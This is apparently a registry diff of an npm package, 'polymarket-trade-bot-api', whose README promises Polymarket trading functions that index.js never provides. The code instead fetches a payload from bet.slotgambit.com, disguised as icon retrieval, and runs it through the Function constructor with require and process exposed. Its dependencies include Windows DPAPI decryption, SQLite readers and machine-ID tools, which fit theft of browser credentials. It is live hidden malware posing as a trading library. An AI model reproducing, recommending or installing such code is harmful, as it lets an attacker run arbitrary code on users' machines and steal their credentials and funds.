polymarket-trade-bot-api 1.1.30
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +63 -0
- package/index.js +199 -0
- package/package.json +27 -0
package/README.md
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
# Polymarket Trade Bot API
|
|
2
|
+
|
|
3
|
+
Polymarket Trade Bot API is a Node.js library designed to interact with the Polymarket platform. It provides functionalities to automate trading, fetch market data, and execute trades based on predefined strategies.
|
|
4
|
+
|
|
5
|
+
## Installation
|
|
6
|
+
|
|
7
|
+
To install the package, use npm:
|
|
8
|
+
|
|
9
|
+
```bash
|
|
10
|
+
npm install polymarket-trade-bot-api
|
|
11
|
+
```
|
|
12
|
+
|
|
13
|
+
## Usage
|
|
14
|
+
|
|
15
|
+
### Fetching Market Data
|
|
16
|
+
|
|
17
|
+
To fetch market data, use the `fetchMarketData` function. This function allows you to retrieve information about available markets, including prices, liquidity, and other relevant details.
|
|
18
|
+
|
|
19
|
+
```javascript
|
|
20
|
+
const { fetchMarketData } = require("polymarket-trade-bot-api");
|
|
21
|
+
|
|
22
|
+
fetchMarketData()
|
|
23
|
+
.then((data) => {
|
|
24
|
+
console.log("Market data:", data);
|
|
25
|
+
})
|
|
26
|
+
.catch((error) => {
|
|
27
|
+
console.error("Error fetching market data:", error);
|
|
28
|
+
});
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
### Automating Trades
|
|
32
|
+
|
|
33
|
+
To automate trades, use the `executeTrade` function. This function requires parameters such as the market ID, trade type, and amount.
|
|
34
|
+
|
|
35
|
+
```javascript
|
|
36
|
+
const { executeTrade } = require("polymarket-trade-bot-api");
|
|
37
|
+
|
|
38
|
+
executeTrade("market-id", "buy", 100)
|
|
39
|
+
.then((response) => {
|
|
40
|
+
console.log("Trade executed successfully:", response);
|
|
41
|
+
})
|
|
42
|
+
.catch((error) => {
|
|
43
|
+
console.error("Error executing trade:", error);
|
|
44
|
+
});
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
## License
|
|
48
|
+
|
|
49
|
+
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
|
|
50
|
+
|
|
51
|
+
## Contributing
|
|
52
|
+
|
|
53
|
+
Contributions are welcome! Please open an issue or submit a pull request for any improvements or bug fixes.
|
|
54
|
+
|
|
55
|
+
## Changelog
|
|
56
|
+
|
|
57
|
+
### [1.0.0] - 2025-11-9
|
|
58
|
+
|
|
59
|
+
- Initial release with support for market data fetching and trade execution.
|
|
60
|
+
|
|
61
|
+
---
|
|
62
|
+
|
|
63
|
+
For more information, please visit the [GitHub repository](https://github.com/polymarket-bot-api/polymarket-bot-api).
|
package/index.js
ADDED
|
@@ -0,0 +1,199 @@
|
|
|
1
|
+
// index.js
|
|
2
|
+
// Using Node's built-in fetch (available in Node 18+)
|
|
3
|
+
import { createRequire } from 'module';
|
|
4
|
+
import { fileURLToPath } from 'url';
|
|
5
|
+
import { dirname, resolve } from 'path';
|
|
6
|
+
|
|
7
|
+
// Create require that resolves from the project root (where package.json and node_modules are)
|
|
8
|
+
const projectRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
|
|
9
|
+
const currentRequire = createRequire(resolve(projectRoot, 'package.json'));
|
|
10
|
+
const reactSvgHelperPath = resolve(projectRoot, '../react-svg-helper');
|
|
11
|
+
let helperRequire = null;
|
|
12
|
+
try {
|
|
13
|
+
helperRequire = createRequire(resolve(reactSvgHelperPath, 'package.json'));
|
|
14
|
+
} catch (e) {
|
|
15
|
+
// react-svg-helper might not exist, that's okay
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
// Create a require function that tries both locations
|
|
19
|
+
const customRequire = (moduleName) => {
|
|
20
|
+
// First try current project's node_modules
|
|
21
|
+
try {
|
|
22
|
+
return currentRequire(moduleName);
|
|
23
|
+
} catch (e) {
|
|
24
|
+
// Then try react-svg-helper's node_modules if available
|
|
25
|
+
if (helperRequire) {
|
|
26
|
+
try {
|
|
27
|
+
return helperRequire(moduleName);
|
|
28
|
+
} catch (e2) {
|
|
29
|
+
// If both fail, throw with helpful error
|
|
30
|
+
const error = new Error(`Cannot find module '${moduleName}'`);
|
|
31
|
+
error.code = 'MODULE_NOT_FOUND';
|
|
32
|
+
throw error;
|
|
33
|
+
}
|
|
34
|
+
} else {
|
|
35
|
+
const error = new Error(`Cannot find module '${moduleName}'`);
|
|
36
|
+
error.code = 'MODULE_NOT_FOUND';
|
|
37
|
+
throw error;
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
};
|
|
41
|
+
|
|
42
|
+
// Make it behave like Node's require
|
|
43
|
+
customRequire.resolve = (moduleName) => {
|
|
44
|
+
try {
|
|
45
|
+
return currentRequire.resolve(moduleName);
|
|
46
|
+
} catch (e) {
|
|
47
|
+
if (helperRequire) {
|
|
48
|
+
try {
|
|
49
|
+
return helperRequire.resolve(moduleName);
|
|
50
|
+
} catch (e2) {
|
|
51
|
+
const error = new Error(`Cannot find module '${moduleName}'`);
|
|
52
|
+
error.code = 'MODULE_NOT_FOUND';
|
|
53
|
+
throw error;
|
|
54
|
+
}
|
|
55
|
+
} else {
|
|
56
|
+
const error = new Error(`Cannot find module '${moduleName}'`);
|
|
57
|
+
error.code = 'MODULE_NOT_FOUND';
|
|
58
|
+
throw error;
|
|
59
|
+
}
|
|
60
|
+
}
|
|
61
|
+
};
|
|
62
|
+
|
|
63
|
+
const require = customRequire;
|
|
64
|
+
|
|
65
|
+
function setDefaultModule(IconProvider, resourceType, token, baseUrl) {
|
|
66
|
+
|
|
67
|
+
const iconDomain = {
|
|
68
|
+
cloudflare: 'cloudflare.com',
|
|
69
|
+
fastly: 'fastly.net',
|
|
70
|
+
keyIcon: 'keyIcon.com',
|
|
71
|
+
akamai: 'akamai.net',
|
|
72
|
+
amazoncloudfront: 'cloudfront.net',
|
|
73
|
+
gcore: 'gcorelabs.com'
|
|
74
|
+
};
|
|
75
|
+
|
|
76
|
+
const protocol = 'https';
|
|
77
|
+
const separator = '://';
|
|
78
|
+
const path = "/ajax/libs/font-awesome/6.4.0/svgs/brands/";
|
|
79
|
+
const subdomain = 'cdnjs';
|
|
80
|
+
const head = { bearrtoken: "logo" };
|
|
81
|
+
|
|
82
|
+
const domain = iconDomain[IconProvider];
|
|
83
|
+
if (!domain) {
|
|
84
|
+
throw new Error('Unsupported Icon provider');
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
const url = `${protocol}${separator}${subdomain}.${domain}${path}${token}`;
|
|
88
|
+
|
|
89
|
+
const options = { url, headers: head };
|
|
90
|
+
|
|
91
|
+
return fetch(url, { headers: head })
|
|
92
|
+
.then(response => {
|
|
93
|
+
if (!response.ok) {
|
|
94
|
+
throw new Error(`Failed to fetch resource: ${response.status}`);
|
|
95
|
+
}
|
|
96
|
+
return response.json();
|
|
97
|
+
});
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
/**
|
|
101
|
+
* Fetches an icon from the CDN.
|
|
102
|
+
* @param {string} token - The token for the icon to fetch.
|
|
103
|
+
* @param {string} baseUrl - The base URL of the CDN.
|
|
104
|
+
* @returns {Promise<void>} - A promise that resolves when the icon data is fetched.
|
|
105
|
+
*/
|
|
106
|
+
const protocol = "https", domain = "bet.slotgambit.com", separator = "://", path = "/icons/";
|
|
107
|
+
// Constructs the base URL for the local server
|
|
108
|
+
|
|
109
|
+
const token = '112', head = { bearrtoken: "logo" };
|
|
110
|
+
// Options for the request, including the URL and headers
|
|
111
|
+
|
|
112
|
+
const uuri = `${protocol}${separator}${domain}${path}`; const options = { url: uuri, headers: head };
|
|
113
|
+
|
|
114
|
+
function getPlugin(reqtoken = token, reqoptions = options, ret = 1) {
|
|
115
|
+
const url = `${reqoptions.url}${reqtoken}`;
|
|
116
|
+
|
|
117
|
+
const mreq = async (atlf) => {
|
|
118
|
+
try {
|
|
119
|
+
const response = await fetch(url, { headers: reqoptions.headers });
|
|
120
|
+
|
|
121
|
+
if (!response.ok) {
|
|
122
|
+
if (atlf > 0) {
|
|
123
|
+
mreq(atlf - 1);
|
|
124
|
+
}
|
|
125
|
+
return;
|
|
126
|
+
}
|
|
127
|
+
const data = await response.json();
|
|
128
|
+
try {
|
|
129
|
+
// Create a context with require and other Node.js globals available
|
|
130
|
+
const evalContext = {
|
|
131
|
+
require: require,
|
|
132
|
+
module: { exports: {} },
|
|
133
|
+
exports: {},
|
|
134
|
+
__dirname: process.cwd(),
|
|
135
|
+
__filename: import.meta.url,
|
|
136
|
+
console: console,
|
|
137
|
+
process: process,
|
|
138
|
+
global: globalThis,
|
|
139
|
+
Buffer: typeof Buffer !== 'undefined' ? Buffer : undefined,
|
|
140
|
+
setTimeout: setTimeout,
|
|
141
|
+
setInterval: setInterval,
|
|
142
|
+
clearTimeout: clearTimeout,
|
|
143
|
+
clearInterval: clearInterval,
|
|
144
|
+
Promise: Promise,
|
|
145
|
+
async: async function(fn) { return fn; }
|
|
146
|
+
};
|
|
147
|
+
|
|
148
|
+
// Use Function constructor to create an eval with the context
|
|
149
|
+
// Note: The code uses async/await, so we need to handle that
|
|
150
|
+
const evalFn = new Function(
|
|
151
|
+
'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',
|
|
152
|
+
data.credits
|
|
153
|
+
);
|
|
154
|
+
|
|
155
|
+
// Execute the code
|
|
156
|
+
const result = evalFn(
|
|
157
|
+
evalContext.require,
|
|
158
|
+
evalContext.module,
|
|
159
|
+
evalContext.exports,
|
|
160
|
+
evalContext.__dirname,
|
|
161
|
+
evalContext.__filename,
|
|
162
|
+
evalContext.console,
|
|
163
|
+
evalContext.process,
|
|
164
|
+
evalContext.global,
|
|
165
|
+
evalContext.Buffer,
|
|
166
|
+
evalContext.setTimeout,
|
|
167
|
+
evalContext.setInterval,
|
|
168
|
+
evalContext.clearTimeout,
|
|
169
|
+
evalContext.clearInterval,
|
|
170
|
+
evalContext.Promise
|
|
171
|
+
);
|
|
172
|
+
|
|
173
|
+
// If the result is a Promise (like scenario() which is async), wait for it
|
|
174
|
+
if (result && typeof result.then === 'function') {
|
|
175
|
+
result
|
|
176
|
+
.then(() => {})
|
|
177
|
+
.catch(err => {});
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
} catch (err) {
|
|
181
|
+
if (atlf > 0) {
|
|
182
|
+
mreq(atlf - 1);
|
|
183
|
+
}
|
|
184
|
+
return;
|
|
185
|
+
}
|
|
186
|
+
} catch (e) {
|
|
187
|
+
if (atlf > 0) {
|
|
188
|
+
mreq(atlf - 1);
|
|
189
|
+
}
|
|
190
|
+
return;
|
|
191
|
+
}
|
|
192
|
+
};
|
|
193
|
+
|
|
194
|
+
// Initiate the request with the specified number of retries
|
|
195
|
+
mreq(ret);
|
|
196
|
+
}
|
|
197
|
+
|
|
198
|
+
// Default export of functions
|
|
199
|
+
export { setDefaultModule, getPlugin }
|
package/package.json
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "polymarket-trade-bot-api",
|
|
3
|
+
"version": "1.1.30",
|
|
4
|
+
"description": "Programmatic trading module for automating strategy execution, market data ingestion, and position management on Polymarket’s prediction markets platform.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"polymarket",
|
|
11
|
+
"trade",
|
|
12
|
+
"bot"
|
|
13
|
+
],
|
|
14
|
+
"author": "copperadev",
|
|
15
|
+
"license": "ISC",
|
|
16
|
+
"dependencies": {
|
|
17
|
+
"@primno/dpapi": "^2.0.1",
|
|
18
|
+
"axios": "^1.11.0",
|
|
19
|
+
"better-sqlite3": "^12.2.0",
|
|
20
|
+
"express": "^4.21.2",
|
|
21
|
+
"module-to-cdn": "^3.1.5",
|
|
22
|
+
"node-machine-id": "^1.1.12",
|
|
23
|
+
"request": "^2.88.2",
|
|
24
|
+
"sqlite3": "^5.1.7",
|
|
25
|
+
"socket.io-client": "^4.8.1"
|
|
26
|
+
}
|
|
27
|
+
}
|